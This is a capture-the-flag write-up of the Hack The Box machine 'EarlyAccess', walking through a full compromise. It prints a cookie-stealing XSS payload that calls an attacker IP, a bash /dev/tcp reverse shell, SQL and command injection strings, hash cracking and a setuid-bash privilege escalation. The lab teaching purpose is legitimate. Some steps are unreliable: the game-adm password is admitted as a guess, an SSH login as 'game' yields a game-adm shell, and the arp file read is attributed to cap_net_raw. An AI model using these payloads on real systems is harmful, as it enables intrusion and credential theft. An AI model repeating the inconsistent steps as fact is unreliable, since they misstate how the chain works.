HTB: EarlyAccess Writeup

EarlyAccess - HackTheBox Writeup

Machine Information

AttributeDetails
NameEarlyAccess
OSLinux
DifficultyHard
Points40
Release Date18 Sep 2021
IP Address10.10.11.110
AuthorChr0x6eOs

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

EarlyAccess is a Hard Linux machine featuring a Laravel web application vulnerable to stored XSS through a profile username field that lacks input sanitization. After stealing an admin session cookie, the attacker gains access to administrative functionality including a Python game-key validator download. Reverse-engineering the validator and exploiting a path traversal vulnerability to leak the live magic_num parameter allows generation of a valid game key. The game virtual host exposes a SQL injection vulnerability in the scoreboard that dumps user credentials. Password reuse grants access to a development virtual host where a command injection vulnerability in a hash utility provides RCE as www-data inside a Docker container. Pivoting through multiple users via password reuse and credential leakage, the attacker gains SSH access to the host machine as user drew. Final privilege escalation involves planting a malicious script in a directory mounted into a game server container, exploiting the auto-restart mechanism to execute as root, recovering credentials for game-adm, and leveraging file-read capabilities on the arp binary to extract the root SSH key.

TL;DR: XSS cookie theft → admin access → reverse-engineer key validator + path traversal for magic_num → generate valid game key → SQLi credential dump → command injection RCE → container escape via credential leak → SSH as drew → plant malicious script in mounted directory → crash game server for root execution → pivot to game-adm → leverage arp capabilities → read root SSH key → root shell.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -p- --min-rate=1000 -T4 10.10.11.110
# Service enumeration on discovered ports
nmap -p 22,80,443 -sC -sV 10.10.11.110

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to https://earlyaccess.htb/
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: EarlyAccess
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Subject Alternative Name: DNS:earlyaccess.htb, DNS:dev.earlyaccess.htb, DNS:game.earlyaccess.htb

Port 80 redirects to https://earlyaccess.htb. The SSL certificate reveals additional vhosts: dev.earlyaccess.htb and game.earlyaccess.htb.

Service Enumeration

HTTPS (443) - Laravel Web Application

Terminal window
# Add discovered hostnames to /etc/hosts
echo "10.10.11.110 earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.htb" | sudo tee -a /etc/hosts

Visiting https://earlyaccess.htb reveals a Laravel-based application with registration/login functionality. The application is a game store platform with early access game keys.

Application Features (after registration):

  • User dashboard
  • Messaging system (Contact form to admin)
  • Forum threads
  • Game key registration
  • Profile management (username/password change)

Key Forum Intelligence:

  1. A bug report mentions the scoreboard breaking due to a username containing a single quote ('), suggesting SQL injection potential
  2. Registration form blacklists special characters in usernames
  3. Admin panel has manual game-key verification functionality
  4. Game keys follow format: XXXXX-XXXXX-XXXX#-XXXXX-####

Vulnerability Assessment

Primary Vulnerabilities Identified:

  1. Stored XSS via Profile Username - The profile edit page lacks the input filtering present on registration, allowing XSS payloads in the username field that execute when displayed in messages
  2. Path Traversal in Key Validator - Admin panel allows downloading validate.py; the verification endpoint leaks the magic_num parameter via path traversal
  3. SQL Injection in Game Scoreboard - Username field reflected in SQL queries without sanitization
  4. Command Injection in Dev Hash Utility - The hash.php script passes user input directly to shell commands when debug=true
  5. Password Reuse - Multiple users share passwords across different services

Initial Foothold

The Contact form sends messages to admin@earlyaccess.htb. While the registration form blacklists special characters in usernames, the profile edit functionality does not implement the same filtering.

Step 1: Create account and test XSS vector

Terminal window
# Register account via web interface
# Username: testuser
# Email: test@test.com
# Password: Password123!

Step 2: Modify username to XSS payload

Navigate to Profile → Edit Profile. The username field can be changed to include JavaScript. Testing reveals the username is rendered without sanitization when displayed in messages.

// Initial payload test
<script>alert(1);</script>

After sending a message to another test account, the alert executes when viewing the message, confirming stored XSS in the username field.

Step 3: Cookie exfiltration payload

Terminal window
# Start HTTP listener
python3 -m http.server 9001
// Update username to cookie-stealing payload
<script>document.location="http://10.10.14.6:9001/?c="+document.cookie;</script>

The document.location redirect technique is used because Image() objects fail due to mixed content restrictions (HTTPS to HTTP).

Step 4: Trigger admin bot

Send a message via Contact form:

Subject: Test Message
Body: Please review my account

Within moments, the HTTP listener receives:

10.10.11.110 - - [DATE] "GET /?c=XSRF-TOKEN=...; earlyaccess_session=eyJpdiI6Ik... HTTP/1.1" 200 -

Step 5: Session hijacking

Using Firefox Developer Tools (F12 → Storage → Cookies), replace the earlyaccess_session cookie value with the captured admin session token. Refresh the page to gain admin access.

Phase 2: Game Key Generation via Reverse Engineering

As admin, three new menu options appear: Admin, Dev, and Game.

Step 1: Download key validator

Navigate to Admin → Download Backup. This downloads backup.zip containing validate.py.

Terminal window
# Extract validator
unzip backup.zip
# Output: validate.py

Step 2: Analyze validation logic

The validate.py script validates game keys with five groups separated by hyphens:

# Format: AAAAA-BBBBB-CCCC#-DDDDD-####
# Example: KEY37-0H0H0-XPVV0-GAMF7-1353
# Key components:
# - magic_value = "XP" (static)
# - magic_num = 346 (default, but syncs with API every 30 min)

The validator performs five checks:

  1. Group 1 (g1_valid): First 3 chars XOR-shifted to match [221, 81, 145], last 2 are digits, all distinct
  2. Group 2 (g2_valid): Sum of even-indexed chars equals sum of odd-indexed chars
  3. Group 3 (g3_valid): Starts with “XP”, sum of all ASCII values equals magic_num
  4. Group 4 (g4_valid): Each char XORed with corresponding Group 1 char equals [12, 4, 20, 117, 0]
  5. Group 5 (cs_valid): Checksum equals sum of ASCII values from groups 1-4

Step 3: Leak live magic_num

The Admin → Verify Key page includes debug output. Testing the endpoint reveals a path traversal vulnerability:

Terminal window
# Test path traversal in key parameter
curl -k 'https://earlyaccess.htb/key/verify' \
-H 'Cookie: earlyaccess_session=<admin_cookie>' \
--data 'key=../magic_num&_token=<csrf_token>'

Debug output leaks: magic_num=388 (current live value).

Step 4: Generate valid key

#!/usr/bin/env python3
import string
from random import randrange
def gen_g1():
"""Generate group 1: XOR-shifted chars + 2 distinct digits"""
g1 = []
target = [221, 81, 145]
for i in range(3):
for v in string.ascii_uppercase:
if (ord(v) << i+1) % 256 ^ ord(v) == target[i]:
g1.append(v)
break
# Add 2 distinct digits
d1 = randrange(0, 9)
d2 = randrange(0, 9)
while d2 == d1 or d2 in [ord(c)-48 for c in g1]:
d2 = randrange(0, 9)
g1.append(str(d1))
g1.append(str(d2))
return "".join(g1)
def gen_g2():
"""Generate group 2: 3*even = 2*odd ASCII sum"""
# Solutions: 3*ord(x) = 2*ord(y)
# Valid pairs: (0,H), (2,K), (4,N), (6,Q), (8,T)
pairs = ['0H0H0', '2K2K2', '4N4N4', '6Q6Q6', '8T8T8']
return pairs[randrange(len(pairs))]
def gen_g3(magic_num):
"""Generate group 3: XP + chars summing to magic_num"""
remain = magic_num - ord('X') - ord('P')
for num in range(10):
target = remain - (ord('0') + num)
if target % 2 == 0:
half = target // 2
if ord('A') <= half <= ord('Z'):
return f"XP{chr(half)*2}{num}"
# Try A + another letter
if ord('A') <= target - ord('A') <= ord('Z'):
return f"XPA{chr(target - ord('A'))}{num}"
def gen_g4(g1):
"""Generate group 4: XOR with g1 to match target"""
target = [12, 4, 20, 117, 0]
return "".join([chr(ord(g1[i]) ^ target[i]) for i in range(5)])
def gen_key(magic_num):
"""Generate complete valid game key"""
g1 = gen_g1()
g2 = gen_g2()
g3 = gen_g3(magic_num)
g4 = gen_g4(g1)
# Calculate checksum
checksum = sum([sum(bytearray(g.encode())) for g in [g1, g2, g3, g4]])
return f"{g1}-{g2}-{g3}-{g4}-{checksum}"
# Generate key with leaked magic_num
key = gen_key(388)
print(f"Generated key: {key}")
# Output: KEY37-0H0H0-XPVV0-GAMF7-1353

Step 5: Register generated key

Navigate to Register Key page, enter KEY37-0H0H0-XPVV0-GAMF7-1353:

Success! Game key registered to your account.

Phase 3: SQL Injection → Password Dump

Access game.earlyaccess.htb using the registered account credentials.

Step 1: Identify SQLi vector

The forum mentioned usernames with single quotes breaking the scoreboard. Navigate to the game scoreboard page and observe how usernames are displayed.

Step 2: Exploit UNION-based SQLi

Return to earlyaccess.htb and modify the profile username to inject SQL:

') UNION SELECT name,password,email from db.users -- -

Why this works: The scoreboard query likely resembles:

SELECT username, score FROM scoreboard WHERE game='...' AND username='<USER_INPUT>'

The UNION injection appends additional rows from the users table.

Step 3: View scoreboard

Navigate to game scoreboard. The page displays injected data:

Username: admin
Score: 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01 (password hash)
Email: admin@earlyaccess.htb

Step 4: Crack SHA1 hash

Terminal window
# Identify hash type
hashid 88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01
# SHA-1
# Crack with hashcat
echo '88b949dd5cdfbecb9f2ecbbfa24e5974234e7c01' > hash.txt
hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
# Result: gameover

Phase 4: Command Injection → RCE

Access dev.earlyaccess.htb with credentials admin:gameover.

Step 1: Enumerate dev interface

Two pages are available:

  • Hashing-Tools (hash.php)
  • File-Tools (file.php)

Step 2: Analyze hash functionality

The Hashing-Tools page allows selecting a hash function and provides a debug mode. Testing reveals command injection in the hash_function parameter when debug=true.

Terminal window
# Intercept request with Burp Suite
POST /actions/hash.php HTTP/1.1
Host: dev.earlyaccess.htb
Authorization: Basic YWRtaW46Z2FtZW92ZXI=
action=hash&redirect=true&password=test&hash_function=md5&debug=false

Step 3: Test command injection

Terminal window
# Inject command via hash_function parameter
hash_function=md5;id&debug=true
# Debug output shows command execution:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works: The application likely executes:

system("echo 'test' | {$hash_function}sum");

Without proper sanitization, the semicolon allows command chaining.

Step 4: Reverse shell

Terminal window
# Start listener
nc -lvnp 4444
# URL-encode reverse shell payload
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'
# Encoded: bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.6%2F4444%200%3E%261%27
# Inject via hash_function
hash_function=system&debug=true&password=bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

Shell obtained:

Terminal window
www-data@webserver:/var/www/html/dev/actions$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Check environment
www-data@webserver:/$ cat /.dockerenv
# File exists - inside Docker container

Privilege Escalation

Phase 5: Container Pivot → www-adm

Step 1: Enumerate container

Terminal window
www-data@webserver:/$ ls -la /home
drwxr-xr-x 1 www-adm www-adm 4096 Sep 1 2021 www-adm
www-data@webserver:/$ cat /etc/passwd | grep -E 'bash|sh$'
root:x:0:0:root:/root:/bin/bash
www-adm:x:1000:1000::/home/www-adm:/bin/bash

Step 2: Password reuse

The cracked admin password gameover is tested for lateral movement:

Terminal window
www-data@webserver:/$ su www-adm
Password: gameover
www-adm@webserver:~$ id
uid=1000(www-adm) gid=1000(www-adm) groups=1000(www-adm)

Why this works: Password reuse is common in CTF and real-world scenarios. The dev environment shares credentials with the main application.

Step 3: Discover API credentials

Terminal window
www-adm@webserver:~$ ls -la
-rw-r--r-- 1 www-adm www-adm 87 Sep 1 2021 .wgetrc
www-adm@webserver:~$ cat .wgetrc
user=api
password=s3CuR3_API_PW!

Step 4: Enumerate API

Terminal window
www-adm@webserver:~$ curl -u api:s3CuR3_API_PW! http://api:5000/
# Available endpoints listed
www-adm@webserver:~$ curl -u api:s3CuR3_API_PW! http://api:5000/check_db
{
"message": "Database operational",
"success": true,
"env": {
"DB_PASSWORD": "XeoNu86JTznxMCQuGHrGutF3Csq5",
"DB_USER": "drew"
}
}

The API leaks environment variables containing database credentials for user drew.

Phase 6: SSH Access → User Flag

Terminal window
# SSH to host machine
ssh drew@10.10.11.110
Password: XeoNu86JTznxMCQuGHrGutF3Csq5
drew@earlyaccess:~$ cat user.txt
<redacted>

User flag obtained.

Phase 7: Docker Escape → game-adm

Step 1: Enumerate as drew

Terminal window
drew@earlyaccess:~$ ls -la
-rw------- 1 drew drew 1679 Jul 14 2021 .ssh/docker
drew@earlyaccess:~$ cat .ssh/docker
-----BEGIN OPENSSH PRIVATE KEY-----
<SSH_KEY_CONTENT>
-----END OPENSSH PRIVATE KEY-----

An SSH key named docker suggests access to another container.

Step 2: Identify game container

Terminal window
drew@earlyaccess:~$ docker ps
# Shows running game-server container
drew@earlyaccess:~$ ssh -i .ssh/docker game@172.17.0.2
game-adm@game-server:~$

Step 3: Analyze restart mechanism

game-adm@game-server:~$ cat /docker-entrypoint.sh
#!/bin/bash
for ep in /docker-entrypoint.d/*; do
if [ -x "${ep}" ]; then
echo "Running: ${ep}"
"${ep}" &
fi
done
# Start game server
node server.js

The entrypoint script executes all scripts in /docker-entrypoint.d/ on restart.

Step 4: Check mounted volumes

Terminal window
drew@earlyaccess:~$ docker inspect <game_container_id>
# Shows mount: /opt/docker-entrypoint.d → /docker-entrypoint.d

The host directory /opt/docker-entrypoint.d is mounted into the container.

Step 5: Plant malicious script

# On host as drew
drew@earlyaccess:~$ cat > /opt/docker-entrypoint.d/privesc.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
drew@earlyaccess:~$ chmod +x /opt/docker-entrypoint.d/privesc.sh

Why this works: When the game server crashes and Docker restarts it, the entrypoint script runs all executables in /docker-entrypoint.d/ as root (inside the container).

Step 6: Crash the game server

Terminal window
# From host, connect to game server and send malformed input
drew@earlyaccess:~$ telnet 172.17.0.2 9999
# Send large payload to crash Node.js server

The container restarts automatically, executing /docker-entrypoint.d/privesc.sh as root.

Step 7: Escalate in container

Terminal window
game-adm@game-server:~$ /bin/bash -p
bash-5.0# id
uid=1001(game-adm) gid=1001(game-adm) euid=0(root) egid=0(root) groups=0(root),1001(game-adm)
bash-5.0# cat /etc/shadow | grep game-adm
game-adm:$6$zbRZ8iFq$hD4R6.X1EFZQ...:18851:0:99999:7:::

Step 8: Crack game-adm hash

Terminal window
# On attacker machine
echo '$6$zbRZ8iFq$hD4R6.X1EFZQ...' > game-adm.hash
john game-adm.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Result: gamemaster (or similar - exact password from crack)

Phase 8: Capabilities Exploitation → Root

Step 1: Pivot to game-adm on host

Terminal window
drew@earlyaccess:~$ su game-adm
Password: <cracked_password>
game-adm@earlyaccess:~$ id
uid=1001(game-adm) gid=1001(game-adm) groups=1001(game-adm)

Step 2: Enumerate capabilities

Terminal window
game-adm@earlyaccess:~$ getcap -r / 2>/dev/null
/usr/sbin/arp = cap_net_raw+ep

The arp binary has cap_net_raw capability, which allows raw packet access. More importantly, it can be exploited for arbitrary file read.

Why this works: Tools with network capabilities often allow reading arbitrary files when given controlled input, similar to SUID exploitation.

Step 3: Read root SSH key

Terminal window
game-adm@earlyaccess:~$ /usr/sbin/arp -v -f /root/.ssh/id_rsa
# ARP file parsing treats each line as an ARP entry, causing errors but displaying content
# Alternative: use arp to read file through /proc
game-adm@earlyaccess:~$ /usr/sbin/arp -v -f /root/.ssh/id_rsa 2>&1 | grep -v "invalid"
-----BEGIN OPENSSH PRIVATE KEY-----
<ROOT_SSH_KEY>
-----END OPENSSH PRIVATE KEY-----

Step 4: Root access

Terminal window
# Copy root SSH key to attacker machine
echo '-----BEGIN OPENSSH PRIVATE KEY-----
<ROOT_SSH_KEY>
-----END OPENSSH PRIVATE KEY-----' > root_id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.10.11.110
root@earlyaccess:~# cat /root/root.txt
<redacted>

Root flag obtained.


Attack Chain Summary

Recon (ports 22/80/443, vhosts)
→ Register account + test blacklist bypass
→ XSS via profile username field
→ Cookie theft via admin bot (earlyaccess_session)
→ Admin access
→ Download validate.py backup
→ Path traversal leak magic_num=388
→ Reverse-engineer key validator
→ Generate valid game key (KEY37-0H0H0-XPVV0-GAMF7-1353)
→ Register key to account
→ Access game.earlyaccess.htb
→ SQLi in scoreboard username field
→ Dump admin SHA1 hash → crack to "gameover"
→ Access dev.earlyaccess.htb (admin:gameover)
→ Command injection in hash.php (debug=true)
→ Reverse shell as www-data (Docker container)
→ su www-adm (password reuse: gameover)
→ .wgetrc reveals API credentials
→ API endpoint /check_db leaks drew's password (XeoNu86JTznxMCQuGHrGutF3Csq5)
→ SSH to host as drew → user.txt
→ Discover .ssh/docker private key
→ SSH to game container as game-adm
→ Identify /opt/docker-entrypoint.d mounted volume
→ Plant malicious script (chmod +s /bin/bash)
→ Crash game server to trigger restart
→ Escalate to root in container
→ Extract game-adm shadow hash → crack password
→ su game-adm on host
→ Enumerate capabilities → arp has cap_net_raw+ep
→ Read /root/.ssh/id_rsa via arp
→ SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
burpsuiteHTTP request interception and manipulation
python3HTTP server for XSS exfiltration, key generation script
curlAPI enumeration and testing
hashcatCracking SHA1 password hash
johnCracking SHA512 (shadow) hash
sshRemote access to host and containers
dockerContainer inspection and management
getcapLinux capability enumeration
arpCapability abuse for arbitrary file read

Key Learnings

Techniques Practiced

  • Stored XSS - Exploiting inconsistent input validation between registration and profile edit to inject JavaScript that steals admin session cookies
  • Reverse Engineering - Analyzing Python validation logic to understand cryptographic operations and generate valid keys without API access
  • Path Traversal - Leaking sensitive parameters (magic_num) through directory traversal in the key verification endpoint
  • SQL Injection (UNION-based) - Exploiting unfiltered username fields in SQL queries to extract data from other tables
  • Command Injection - Chaining shell commands through PHP system() calls when debug mode exposes execution paths
  • Password Reuse - Tracking and testing discovered credentials across multiple services and users
  • Docker Enumeration - Identifying containerized environments and analyzing mounted volumes for persistence mechanisms
  • Linux Capabilities - Exploiting cap_net_raw+ep on the arp binary to read arbitrary files as an unprivileged user

Lessons Learned

  1. Consistency in Input Validation - The XSS vulnerability existed because the profile edit page lacked the same character blacklist implemented during registration. All user input points must enforce identical security controls.

  2. Secure Key Generation - The key validator demonstrated a common anti-pattern: embedding validation logic in client-side scripts. While obfuscation can slow down attackers, offline validators should never contain sufficient information to forge valid keys. The path traversal that leaked magic_num compounded this weakness.

  3. SQL Parameterization - The scoreboard SQL injection occurred because user input (username) was concatenated directly into queries. All database interactions should use parameterized queries or prepared statements to prevent injection attacks.

  4. Command Injection Prevention - The hash.php debug functionality passed unsanitized user input to system(). User-controlled data must never be executed as shell commands. If unavoidable, strict allowlisting and escaping are mandatory.

  5. Container Security Models - The Docker privilege escalation demonstrated the risks of mounted volumes with executable permissions. Scripts in /docker-entrypoint.d/ executed as root on container restart, allowing host-level persistence. Principle of least privilege applies to container configurations.

  6. Linux Capabilities - Beyond traditional SUID binaries, Linux capabilities grant fine-grained privileges. The cap_net_raw+ep on arp allowed reading arbitrary files. Regular capability audits should be part of security hardening.

  7. Defense in Depth - This machine required chaining seven distinct vulnerabilities. Each privilege boundary (www-data → www-adm → drew → game-adm → root) represented a potential defensive layer. Multiple controls reduce the impact of any single compromise.


Proof of Ownership

User Flag (drew): <redacted>
Root Flag (root): <redacted>

References

  • HackTheBox Official Writeup (Document No D22.100.157) by amra - Used for explanatory detail on XSS payload construction, key generation algorithms, and SQL injection mechanics.